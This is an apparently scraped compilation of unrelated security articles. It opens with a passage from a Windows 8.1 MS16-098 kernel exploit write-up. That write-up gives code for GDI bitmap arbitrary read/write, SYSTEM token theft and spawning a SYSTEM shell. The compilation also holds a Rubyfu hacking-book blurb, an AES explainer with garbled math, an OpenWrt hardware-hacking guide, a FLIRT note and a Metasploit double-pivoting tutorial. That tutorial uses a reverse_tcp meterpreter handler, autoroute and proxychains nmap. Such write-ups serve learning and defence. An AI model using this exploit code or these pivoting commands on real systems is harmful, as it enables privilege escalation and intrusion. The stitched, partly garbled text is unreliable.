win32k!GreGetBitmapBits will call NEEDGRELOCK::vLock that will in turn call PDEVOBJ::bAllowSharedAccess. Looking at the disassembly of the NEEDGRELOCK::vLock function, you will notice that the function will use the PDEVOBJ only to call PDEVOBJ::bAllowSharedAccess, if the result returns zero, it will continue to the other checks, of which none reference the PDEVOBJ. Furthermore, in GreGetBitmapBits, the function doesn’t check the return value of NEEDGRELOCK::vlock, after execution, the PDEVOBJ::bAllowSharedAccess will try to read that address in the first function block and if the data read is equal to one, then the function will exit, with code 0, which is what is needed to continue execution. The nice thing here is that if you look at the address that is being referenced, you will notice that the memory location that this address can fall in is in user-land. Using VirtualAlloc to allocate memory to this address and set all bytes to 1, will exit the function without errors, and will retrieve the bitmap data using GetBitmapBits, without crashing. VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); memset(fake, 0x1, 0x100); Step 6 – Fixing the Overflowed Header: At this point, the exploit is able to read/write to adjacent memory with size 0xFFFFFFFF * 1 * 4, which is more than enough to reach the second adjacent bitmap object in the next page, and overwrite the pvScan0 address to be used to gain arbitrary read/write on kernel memory. When the exploit exited, it was noticed that sometimes some crash happens related to pool headers when the process is exiting. The way to go around this was to use GetBitmapbits, to read the headers for the next region and the bitmap objects, which were not overwritten, and then leak a kernel address that can be found in the region object, The way to calculate the address of the overflowed region object is by nulling the lowest byte of the leaked address, which will give us the address of the beginning of the current page, subtract the second lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will result in the start address of the previous page. addr1[0x0] = 0; int u = addr1[0x1]; u = u - 0x10; addr1[1] = u; Next, the address to the overflowed Bitmap object is calculated, remember that the region object is of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 0xb to the second lowest byte, will result in the header address of the overflown bitmap object. addr1[0] = 0xc0; int y = addr1[1]; y = y + 0xb; addr1[1] = y; Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the worker bitmap object with the address of the region header. Then the worker bitmap object is used with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; the same is done for the overflowed bitmap object header. void SetAddress(BYTE* address) { for (int i = 0; i < sizeof(address); i++) { bits[0xdf0 + i] = address[i]; } SetBitmapBits(hManager, 0x1000, bits); } void WriteToAddress(BYTE* data) { SetBitmapBits(hWorker, sizeof(data), data); } SetAddress(addr1); WriteToAddress(Gh05); Step 7 – Stealing SYSTEM Process Token from the EPROCESS structure: The code used in this part is taken directly from Diego’s blog post[2] and the technique is heavily discussed in several papers and articles. However, it will be briefly explained for the sake of completeness. The process begins by getting the kernel address of PsInitialSystemProcess, which is a pointer to the first entry in the EPROCESS list, that pointer is exported by ntoskrnl.exe. // Get base of ntoskrnl.exe ULONG64 GetNTOsBase() { ULONG64 Bases[0x1000]; DWORD needed = 0; ULONG64 krnlbase = 0; if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase = Bases[0]; } return krnlbase; } // Get EPROCESS for System process ULONG64 PsInitialSystemProcess() { // load ntoskrnl.exe ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); // get address of exported PsInitialSystemProcess variable ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); FreeLibrary((HMODULE)ntos); ULONG64 res = 0; ULONG64 ntOsBase = GetNTOsBase(); // subtract addr from ntos to get PsInitialSystemProcess offset from base if (ntOsBase) { ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); } return res; } The function PsInitalSystemProcess, will load the ntoskrnl.exe into memory, and user GetProcAddress to get the address of the exported PsInitialSystemProcess, then it will get the kernel base address by using the EnumDeviceDrivers() function. Subtracting the PsInitialSystemProcess from the loaded ntoskrnl.exe will result in the offset of PsInitalSystemProcess from kernel base, adding this offset to the retrieved Kernel base will return the kernel address of the PsInitialSystemProcess pointer. LONG64 PsGetCurrentProcess() { ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS // walk ActiveProcessLinks until we find our Pid LIST_ENTRY ActiveProcessLinks; ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); ULONG64 res = 0; while (TRUE) { ULONG64 UniqueProcessId = 0; // adjust EPROCESS pointer for next entry pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); // get pid ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); // is this our pid? if (GetCurrentProcessId() == UniqueProcessId) { res = pEPROCESS; break; } // get next entry ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); // if next same as last, we reached the end if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) break; } return res; } Then it will proceed by using the manager and worker bitmaps to traverse the EPROCESS list looking for the current process entry in this list, once found, the function will use the bitmaps to read the SYSTEM Token from the first entry in the EPROCESS list, and write it the Token of the current process entry in the EPROCESS list. // get System EPROCESS ULONG64 SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); ULONG64 SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); // write token to current process ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress((BYTE *)&CurProccessAddr); WriteToAddress((BYTE *)&SystemToken); // Done and done. We're System :) Step 8 – SYSTEM !! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: https://gitlab.sensepost.com/saif/MS16-098_RNGOBJ_Integer_Overflow References: [1] https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects2 [2] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives [3] https://msdn.microsoft.com/en-us/library/windows/desktop/bb776657(v=vs.85).aspx [4] http://www.zerodayinitiative.com/advisories/ZDI-16-449/ [5] Using Paths Example: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145181(v=vs.85).aspx [6] Device Context Types: https://msdn.microsoft.com/en-us/library/windows/desktop/dd183560(v=vs.85).aspx [7] Memory Device Context: https://msdn.microsoft.com/en-us/library/windows/desktop/dd145049(v=vs.85).aspx [8] https://technet.microsoft.com/library/security/MS16-098 [9] https://www.amazon.co.uk/Guide-Kernel-Exploitation-Attacking-Core/dp/1597494860 [10] Windows Kernel Exploitation : This Time Font hunt you down in 4 bytes – Keen Team: http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-in-4-bytes [11] Windows Graphics Programming: Win32 GDI and DirectDraw: https://www.amazon.com/exec/obidos/ASIN/0130869856/fengyuancom [12] Abusing GDI objects for ring0 exploit primitives reloaded: https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf Sursa: https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/

RubyFu Rubyfu, where Ruby goes evil! This book is a great collection of ideas, tricks and skills that could be useful for Hackers. It's a unique extraction reference, summarizes a lot of research and experience in order to achieve your w00t in shortest and smartest way. Rubyfu is where you'll find plug-n-hack code, Rubyfu is a book to use not only to read, it's where ruby goes evil. Who should read this book? Ideally, Hackers!; Those who have enough experience to hack our world and have at least basics in Ruby programming language. To get the best benefits of the book, open Rubyfu.net and pin its browser tab; Use irb/pry as interpreter to run the code or run it as script; Enhance the code to fit your needs and yeah, tweet the code and its output to @Rubyfu to share it with our awesome community. Organization of the book Module 0x0 | Introduction Module 0x0 is just a smooth start for you, whether you're a reader, writer, hacker or someone came to say hi. In this module you'll find a great start for you as a contributor, where all kinds of contributions are welcome starting from proofreading ending to topic writing. Module 0x1 | Basic Ruby Kung Fu Module 0x1 is an awesome collection of the most commonly needed String manipulation, extraction and conversion. Dealing with real cases that you might face during your hack. Dealing with encoding and data conversion could be trivial or complex topic and here we don't care, we'll solve it. Module 0x2 | System Kung Fu Module 0x2 digs more in system hacking, where the system command, file manipulation, cryptography and generating the common hashes are needed. Getting bind and reverse shell with really simple ways requires skill you need no doubt. Almost all Linux systems are shipped-up with ruby and if it doesn't?, no problem we'll get rid of it. Module 0x3 | Network Kung Fu Module 0x3 dives deeper in the network sockets, protocols, packet manipulation, more service enumeration ways and gives us more hacky and awesome code to get the job done. Working with network protocols need a deeper knowledge of how these protocols work in order to exchange understandable data and yeah, we'll figure it out right here. Module 0x4 | Web Kung Fu Module 0x4 web is the most common place to share information, however, it's a more delicious place to hack. Dealing with web known with its uniqueness for dealing with many and many technologies in one page only. Here we'll know how to deal with GET, POST requests, web services, databases, APIs and manipulating the browser to make it our soldier. Module 0x5 | Exploitation Kung Fu Module 0x5 whatsoever the vulnerability was, remote (FTP, IMAP, SMTP, etc.) or local (file format, local system) you'll need to know how to build fuzzers and skeleton exploit for that. If you get there you'll need a simple, clean and stable way to build your exploit. Here you'll know how to build your fuzzer, exploit and porting your exploit to Metasploit and how to write your own Metasploit modules too. Module 0x6 | Forensic Kung Fu Module 0x6 whoever you're, good or bad guy you'll need forensic skills in your hack and/or investigation. Here you'll learn more how to deal with registry extracting browsers' information and much more. Link: https://www.gitbook.com/book/rubyfu/rubyfu/details

Why AES Is Secure DISCLAIMER: I am not a cryptographer by profession, and may have made some mistakes or oversimplification in the content of this article. The Advanced Encryption Standard, otherwise known as Rijndael (which was its original name), is one of the most widely used ciphers for the encryption of data. It’s been approved by the US government to protect classified data. In this article, I’ll explain how AES works and why it’s secure. This article is written for anyone who has knowledge of pre-calculus math and computer knowledge. No prior knowledge of cryptography is required. Galois field theory AES makes extensive use of Galois field theory, which I’m going to give a very brief introduction to. For more details see Galois Field in Cryptography. A Galois field is a field containing a finite number of elements. A field is a set on which the operations of addition, multiplication, subtraction and division meet certain rules. We’ll refer to these rules as they come in useful – don’t worry too much about them. There’s the field of real numbers and the field of rational numbers. What makes a Galois field different from these fields, is that it contains a finite number of elements (which is why it’s also called a finite field). On the other hand, there is an infinite number of real numbers and rational numbers. A Galois field is denoted as GF(pn)GF(pn) where pp is a prime number and nn is a positive integer. We call pnpn the order of the field. The elements of a Galois field are the set of elements {0,1,2,…,pn−1}{0,1,2,…,pn−1}. Galois field arithmetic Firstly, let’s take a look at GF(p)GF(p). Addition and multiplication is done similarly to integers, followed by modulo pp (this is just finding the remainder after dividing by pp). For example, in GF(5)GF(5), 4+3=74+3=7 is reduced to 22, and 4×2=84×2=8 is reduced to 33. Elements of GF(pn)GF(pn) can be represented as polynomials of degree less than nn. For example, in GF(33)GF(33), the polynomial x2+1x2+1 would represent 10 and the polynomial 2x2+x+12x2+x+1would represent 22, with x=3x=3. In addition, we use modulo 33 on each of the coefficients. Adding up the two polynomials gives us 3x2+x+23x2+x+2, which is reduced to x+2x+2, represented as 5. However, things get more complicated when it comes to multiplication. Take the polynomials 2x2+12x2+1 and x+1x+1. Multiplying these two would give us (2x2+1)(x+1)=2x3+2x2+x+1(2x2+1)(x+1)=2x3+2x2+x+1. At this point, we’ve exceeded the order of the field! The way to resolve this is to modulo a suitable polynomial, by long division. There are certain rules for selecting this polynomial, which I will not discuss. Use of Galois field theory in AES In AES, where we want to manipulate bytes, GF(28)GF(28) is used. GF(28)GF(28) has a set of elements which represent all possible values of a byte. The fact that the addition and multiplication operations are closed (that is, applying addition and multiplication to any two elements will always return an element that is in the set of elements of that field) makes the Galois field very convenient for manipulating bytes, as operations can be done on any two bytes to get a new byte. It also turns out that addition of two elements in GF(28)GF(28) is simply XOR of both elements – this means that addition is efficient on hardware! On the other hand, multiplication is more complex. AES uses the polynomial x8+x4+x3+x+1x8+x4+x3+x+1, and most implementations will use a lookup table instead of computing the polynomial for the sake of efficiency. Overview of AES Now that we’re done with basic Galois field theory, it’s time to take a look at how AES is implemented. AES can be represented by two functions, E(k,p)E(k,p) and D(k,c)D(k,c) where kk is the key, pp is the plaintext and cc is the ciphertext. The former represents encryption, and the latter represents decryption. A valid encryption scheme would ensure that D(k,E(k,p))=pD(k,E(k,p))=p for any kk and pp. AES has 3 key sizes: 128, 192 and 256 bits. It is known as a block cipher; that means it encrypts plaintext in seperate blocks of fixed size, as opposed to a stream cipher which encrypts plaintext bit by bit. Its block size is 128 bits. Credits to mikeazo’s answer on Crypto StackExchange for the image. AES takes in 16 bytes, b0,b1,…,b15b0,b1,…,b15, which are arranged in a matrix from top to bottom, left to right: ⎡⎣⎢⎢⎢⎢b0b1b2b3b4b5b6b7b8b9b10b11b12b13b14b15⎤⎦⎥⎥⎥⎥[b0b4b8b12b1b5b9b13b2b6b10b14b3b7b11b15] AES can be broken down into 4 steps: SubBytes ShiftRows MixColumns AddRoundKey These 4 steps make up a round. Before the first round, AddRoundKey is performed, and in the last round, MixColumns is omitted. The number of rounds for AES is based on the key size: AES-128: 128 bit key, 10 rounds AES-192: 192 bit key, 12 rounds AES-256: 256 bit key, 14 rounds Substitution Permutation Network AES has a structure known as a substitution permutation network. A substitution-permutation network (SPN) takes in plaintext and keys as inputs. Each round looks like this: Combination of the plaintext with the round key (represented by ⊕⊕) Substitution of small blocks of bits (referred to as a S-box, or a substitution box) Permutation of all the bits (referred to as a P-box, or a permutation box) The combination of the plaintext with the round key is often XOR, as XOR is easily invertible (A⊕(A⊕B)=BA⊕(A⊕B)=B, as A⊕A=0A⊕A=0 and XORing anything against 0 does not change the result.) Decryption, hence, is merely XORing against the corresponding round key. At the same time, the S-box and P-box should also be invertible. This means that decryption for a SPN is merely the reverse process. A good S-box should offer various properties. Firstly, for it to be invertible, the substitution should be one-to-one. This means that the length of the output should be the same as the length of the input. This allows for decryption. Secondly, changing a single input bit should change about half of the output bits. This is known as the avalanche effect. A good P-box should ensure that the output bits of any S-box is distributed across the permutation. The reason for doing this is covered in the next section. By itself, the S-box is a substitution cipher, and the P-box is a transposition cipher. Both ciphers hardly offer any cryptographic strength, as they reveal statistical properties. However, when combined together, they provide powerful cryptographic strength. Confusion and Diffusion Confusion and diffusion are key properties of a secure cipher (as identified by Claude Shannon, considered the father of information theory). Confusion refers to the property that each character of the plaintext depends on several parts of the key, and diffusion refers to the property that when we change a character of the plaintext, then several characters of the ciphertext should change. Firstly, if a single bit is changed in the plaintext, an S-Box changes several bits. The P-Box then distributes these changed bits across. With several rounds, the ciphertext has changed completely. This satisfies the property of diffusion. Other than having a completely different ciphertext, this also prevents an attacker from modifying the ciphertext in order to get a desired plaintext, as this would change the plaintext drastically. Secondly, the SPN also exhibits confusion (under the assumption that changing one bit of the key changes several round keys – the SPN does not include derivation of the round keys). Every change in a round key causes a change in the input of the S-Boxes. As per the property of diffusion, the ciphertext would be drastically altered. This means that each of the output bits would depend on several parts of the round keys, which in turn depend on the key. This satisfies the property of confusion. The power of the SPN lies in how it allows for both properties to be exhibited, despite being so simple and efficient. Key Schedule Each round has a certain key of its own, derived from the key given. The algorithm to obtain the round keys is called the key schedule. With a larger key size, AES has a larger number of rounds. The reason is that given more key bits, there is a need for more rounds so as to ensure that there is confusion. This is why the key schedule differs depending on the key size. The key schedule derives the first round key from the master key, the second from the first, and so on until all round keys required have been generated. I will not elaborate much on how the key schedule works. The main point to note is that the key schedule consists of shifting bytes and XOR operations. The key schedule is invertible, allowing an adversary to derive the master key given any round key. A question you may ask is, why not use a cryptographically secure pseudorandom number generator? One could seed the generator with the key, providing a sequence of output round keys that are hard to predict and increasing the difficulty of obtaining the master key from the key schedule. Simply put, a simpler key schedule provides efficiency but comes at the cost of a bit of security. However, practically speaking, there is not much need to make the key schedule non-invertible. Despite the weakness of the key schedule, it satisfies the property that changing one bit of the key changes several round keys, which was a requirement for a SPN to be secure. For more details, you can read Thomas Pornin’s answer on Crypto StackExchange on why a simpler key schedule is used, and poncho’s answer on why making the key schedule non-invertible will not add much security. SubBytes A fixed S-box is used, taking in a byte as input and also producing a byte.The S-box of AES is calculated from the multiplicative inverse over GF(28)GF(28). The presence of multiplicative inverse for all elements is one of the properties that fields satisfy. A multiplicative inverse for a number xx is a number which when multiplied by xx gives the multiplicative identity 11. The multiplicative identity 11 satisfies the property that x×1=xx×1=x. In the field of rational numbers, we call the multiplicative inverse the reciprocal, or 1x1x. In a Galois field, there is a more complex procedure used in order to find the multiplicative inverse, known as the Extended Euclidean Algorithm. It turns out that the multiplicative inverses have good non-linearity properties, adding security against attacks which recover the key by exploiting linearity in the S-box. In addition to the multiplicative inverses, an affine transformation is used which I will not elaborate on. This allows it to be resistant to linear and differential cryptanalysis, as well as algebraic attacks. For more details on the design of the S-box, look at Rijndael S-box. ShiftRows and MixColumns These two operations are what permutates the bits (techincally speaking, MixColumnsdoes more than just permutations). ShiftRows just rotates each row by varying number of bytes. The first row is not rotated, the second row is rotated to the left by one byte, the third row is rotated to the left by two bytes, etc. This permutates the order of the outputs from the S-box row-wise. MixColumns performs a transformation on each column of the matrix. It multiplies the matrix of bytes with: ⎡⎣⎢⎢⎢⎢2113321113211132⎤⎦⎥⎥⎥⎥[2311123111233112] in GF(28)GF(28). Matrix multiplication is composed of several multiplication and addition operations. This transforms the bytes of every column. Hence, MixColumns permutates the bits column-wise. This matrix is a Maximum Distance Seperable matrix. The power of MDS matrices lie in the fact that they have perfect diffusion. Changing kk of the input bytes would change at least m−k+1m−k+1 of the output bytes, where m×nm×n is the size of the matrix. Combining both operations together, you get a very powerful P-box. As part of a SPN, this P-box helps to ensure diffusion, and does it very well. It propagates changes in the plaintext throughout, making differential cryptanalysis tough. AddRoundKey This is just a XOR operation as described in the section on SPNs. Conclusions on AES AES remains a very strong cipher. Bruce Schneler, a developer of Twofish, has written in 2000: I believe that within the next five years someone will discover an academic attack against Rijndael. I do not believe that anyone will ever discover an attack that will allow someone to read Rijndael traffic. So while I have serious academic reservations about Rijndael, I do not have any engineering reservations about Rijndael. Since then, academic attacks against AES have been developed. But many of them involve a smaller number of rounds or are impractical. The best key-recovery attacks on full AES so far is a biclique attack which is merely faster than brute force by at most a factor of 4. Furthermore, the data storage required works out to trillions of terabytes, far beyond the data stored on the planet. In addition to its strength, AES performs very quickly. SubBytes and multiplication in MixColumns can be replaced with a lookup table of 256 bytes. Its simplicity means that operations can be performed very fast, and is easily implemented on hardware. All of these properties are why Rijndael was chosen by NIST to become AES. If you want to know more about AES, take a look at A Stick Figure Guide to AES. If you would like to read more on the design of AES, take a look at The Design of Rijndael. If you want to learn more about why Rijndael was chosen over other candidates, take a look at this answer on StackExchange. You can view the history of changes made to this post at this website's GitHub repository. Sursa: https://wei2912.github.io/posts/crypto/why-aes-is-secure.html

Hardware Hacking First Steps You bought yourself a new router, and it's nice. You can connect a hard disc to it and then it shares it's content over samba. It even can do torrent. Wow. But then you stumbled over OpenWrt and it's 2000 packages you can install just like that. Never mind all the other FOSS software you could compile for it. And you started crying and decided: you neeeed OpenWrt on your router. And if your router is already supported, dandy, flash it on and have fun. But if your router is not (yet) supported? Well, then do this: Gain Access you could login to some unix shell after booting, over Ethernet with telnet/ssh. Example: hacking.dockstar (dockstar) you could login to bootloader console while booting, over Ethernet or over the Serial Port you could access the hardware without any booting, without any software present, over the JTAG Port with JTAG Software, like HairyDairyMaid Gather Information about Hardware Depending on the bootloader that is being used, you could utilize different commands to gather hardware information. Please see the manual for that particular bootloader to get this done. Once you have the information you could keep it for yourself or post it online. Depending on how fast you are, there probably is going to be information regarding this already available or you are the first one. This simple step is necessary because the manufacturer usually does not document exactly what hardware has been installed. Now with this information you are going to use google or the search engine of your choice, to see what GNU/Linux drivers are available, and if, in which kernel version they have been integrated into. For example: http://en.wikipedia.org/wiki/Comparison_of_open_source_wireless_drivers#Linux you can see, since which or until which Kernel version drivers for wireless radio circuitry, has been integrated. But of course there is much more to a system, in this case in form of a SoC, then the wireless drivers. Anything needs drivers. For example the VLYNQ needs to be supported by the Kernel. etc. And you are done. If you really want to continue, you could find help here: http://www.tldp.org/LDP/tlk/tlk.html The Linux Kernel http://www.tldp.org/LDP/lkmpg/index.html The Linux Kernel Module Programming Guide http://lwn.net/Articles/driver-porting/ you could also check this thread http://linux.junsun.net/porting-howto/porting-howto.html Jun Sun's Linux MIPS Porting Guide http://www.win.tue.nl/~aeb/linux/lk/lk.html an overview over the history and also technical insights Oh, you should also learn a programming language, like C. Gather Information about Software bootloader This is probably going the first piece of software you are going to notice. But the rest of the system could be of interest as well: Most probably it's a kind of outdated GNU/Linux Kernel with FOSS drivers or with binary only drivers or both. Then you are lucky, because the source code of the Linux Kernel is licensed under the GPLv2 and this constrains the seller to make the modified source code, if he actually bothered to modify anything, and he probably did, available to the customers (and not necessarily to the public) free of charge. Now maybe the drivers for the components have already been integrated into mainline kernel, which means that a newer kernel should work on this device out of the box. If not, you could continue to use the one, from the manufacturer. So combine this kernel with other FOSS software, you want to run on it… In case the manufacturer did not use a Linux Kernel but some kind of *BSD, you're fucked, since the license the *BSD sources are under are not GPL. This particularly means, the usurper does not have to make source code available. He could, but he doesn't have to. Oh may you have much "fun" with *BSD. Gather Information about Flash Layout overall Flash Layout The overall Flash Layout looks like the Example. Simply an overview over the different MTD-partition there are. And what their meaning is. An even better example is the flash.layout. Other ones you find here: http://wiki.ip-phone-forum.de/software:ds-mod:development:flash#flash_partitionierung precise Flash Layout This is more tricky, here you want to know exactly what is written on the flash: flash.layout The data could be zipped or g'zipped or even be encrypted. Also, there is going to be some number's between the data blocks, like CRC or whatever. Software Development Now you want to run you own Software on your device. Maybe it's hardware has already support in some projects or in the mainline kernel. If not, then consider adding a new device or a complete new platform to develop software for. Please do not bother developers or potential developers to write code for this. Present the information you gathered, if it interesting enough, somebody is going to do that Now to write code, the developer needs only some bread and water and a simple text editor, but to test this code, he's going to need the hardware itself. You could donate or maybe just lend the hardware. Add Device add.new.device Add Platform add.new.platform Software Development The homepage needs no cookies, no javascript, no nothing enabled. It simply works. It is available under the Creative Commons BY-SA license: http://free-electrons.com/docs/block-drivers/ http://free-electrons.com/docs/buildroot/ http://free-electrons.com/docs/toolchains/ http://free-electrons.com/docs/network-drivers/ Sursa: https://wiki.openwrt.org/doc/devel/hw.hacking.first.steps

Fast Library Identification and Recognition Technology (FLIRT) Signature File Database What is FLIRT? Fast Library Identification and Recognition Technology, also known as FLIRT, is IDA's internal symbols identifier that searches through disassembled binaries in order to locate, rename, and highlight known library subroutines. FLIRT elimates the need to analyze functions that could be understood simply by reading documentation or source code from the library it came from and reduces the amount of work required in order to reverse and understand symbol-stripped binaries by a considerable amount. For more information visit: https://www.hex-rays.com/products/ida/tech/flirt/index.shtml How does FLIRT work? Here's an oversimplified diagram on FLIRT's internal workings: The input to the system is a library file (.lib on Windows) from a library of choice while the output is a signature file (.sig) stored under /sig (and only there or else IDA won't find it). Using one of the tools (plb/pcf/pelf) (provided here for paying customers) you convert all the functions in the library to signatures stored in a PAT file (.pat). The final stage in creating a signature file involves converting the generated PAT file into a .sig file usable by IDA with the use of sigmake. The problem with this is that sometimes collisions will exist for signatures since the method Hex-Rays uses is not fool proof. When an error occurs an EXC (.exc) file is created. In order to ignore collisions, simply edit this file by removing the first few comments (lines that start with ';') and re-run sigmake. For more information look inside the readme inside the FLAIR tools directory. Link: https://github.com/Maktm/FLIRTDB

Explore Hidden Networks With Double Pivoting December 31, 2016 Mucahit Karadag Network An n-layer security architecture is created to protect important services required by the concept of Defense-in-Depth, which has an important place in the world of information technology. If we think about this for the corporate networks; critical systems can not be in the same network as other systems. In this article, we will analyze with examples how the attackers can access the hidden networks that have no accessibility in the first stage, by using pivoting methods. What is Routing ? The process of determining how devices in different networks communicate with each other is called routing. Routing is usually performed with devices called “routers”. The routers, routes the network packages to the respective destinations by using the routing table. Routing can be done not only with network devices, such as routers, but also with any computer that has the operating system installed on it. According to the example in the above figure, successfully communicate between 192.168.1.0/24 and 192.168.10.0/24 networks requires a routing table record. According to the rule defined in the router, access is made from “192.168.1.0/24 source to 192.168.10.0/24 destination”. Adventure of a network package is as follow: Is the IP address to be accessed on the local network? If so, reach the destination. If not, send it to the gateway. Once the router receives the package, it looks at its own routing table Do I have a routing rule for the destination IP address or the destination network? If yes, route the package to the destination. If not, send to gateway. The same process is repeated in other routers. The package finally arrives to the router responsible for the internet exit of the institution. And the package is sent to the internet What is Pivoting ? A rabbit hole from Alice in Wonderland Basically, it is the process of accessing networks that we do not have access to under normal circumstances by using compromised computers. Network isolation will be useless in case of compromise a computer that has a access to the multiple. With this method, an attacker who performs routing on the compromised systems can access the hidden networks. Every request to be made to the newly discovered network is transmitted over the Pivot. It’s like a kind of tunnel. As seen in the above topology, the device that has two NICs has access to the both 192.168.1.0/24 and 192.168.10.0/24 networks. Under normal circumstances there is no access between these two networks -unless a routing rule is defined. According to this structure, the authorized user, who is using the computer with two NIC cards, has to access some services in the DMZ. Compromise First Pivot and Port Forwarding According to our attack scenario, meterpreter shell obtained in the system named as RD is also connected to the DMZ network. Later, it is determined that the target has two NICs with the information gathering process. Note: The router in the environment does not route between networks. msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.0.20 LHOST => 172.16.0.20 msf exploit(handler) > set LPORT 1234 LPORT => 1234 msf exploit(handler) > run [*] Started reverse TCP handler on 172.16.0.20:1234 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 172.16.0.11 [*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162) meterpreter > ifconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter Hardware MAC : 08:00:27:e1:3f:af MTU : 1500 IPv4 Address : 172.16.0.11 IPv4 Netmask : 255.255.255.0 Interface 19 ============ Name : Intel(R) PRO/1000 MT Desktop Adapter #2 Hardware MAC : 08:00:27:7f:3c:fe MTU : 1500 IPv4 Address : 7.7.7.11 IPv4 Netmask : 255.255.255.0 According to our scenario, the attacker who gains access to the RD system will want to access the network with the second NIC (7.7.7.0/24). The attacker must first define the routing rule on RD to do this operation. It is quite easy to do this with Metasploit. The following command can be used to create the routing rule via the current meterpreter session. meterpreter > run autoroute -s 7.7.7.0/24 [*] Adding a route to 7.7.7.0/255.255.255.0... [+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11 [*] Use the -p option to list all active routes meterpreter > run autoroute -p Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 7.7.7.0 255.255.255.0 Session 2 meterpreter > According to the defined rule; As long as the meterpreter session with ID value 2 is running, the 7.7.7.0/24 network can be accessed in the Metasploit Framework. After this step, the IP addresses of the JC system is detected using post modules such as arp_scanner. JC is another computer found in hidden network -7.7.7.20- meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24 [*] Running module against DISCORDIA [*] ARP Scanning 7.7.7.0/24 [*] IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS) [*] IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS) [*] IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS) [*] IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS) meterpreter > IP addresses of live systems in 7.7.7.0/24 network, including JC named system, have been determined. Naturally, the following question will come to mind; Post modules such as arp_scanner may be insufficient for such scanning work, can nmap style scanning tools be used? Nmap via Pivoting In order to do this, the routing configuration must be active on Metasploit, and this configuration must also be able to be forwarded via socks4 proxy. There is another metasploit module that also meets this need. Use of socks4 proxy as metasploit module: meterpreter > background [*] Backgrounding session 2... msf > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > set srvhost 172.16.0.20 srvhost => 172.16.0.20 msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) > netstat -antp | grep 1080 [*] exec: netstat -antp | grep 1080 tcp 0 172.16.0.20:1080 0.0.0.0: * LISTEN 3626/ruby msf auxiliary(socks4a) > With the ProxyChains tool developed for GNU\Linux operating systems, any TCP connection can be routed to destinations via TOR or SOCKS4, SOCKS5, HTTP / HTTPS. Multiple proxy servers can be used in this tunneling technique. In addition to providing anonymity, applications such as pivoting can also be used to direct traffic to new networks discovered. In the last line of the file /etc/proxychains.conf opened with a text editor, the information of the newly created socks4 proxy server is entered. --- snippet --- [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" #socks4 127.0.0.1 9050 socks4 172.16.0.20 1080 Performing a nmap scan with proxychains is a simple process. Network packages will be delivered to the destination via the defined proxy. root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20 ProxyChains-3.1 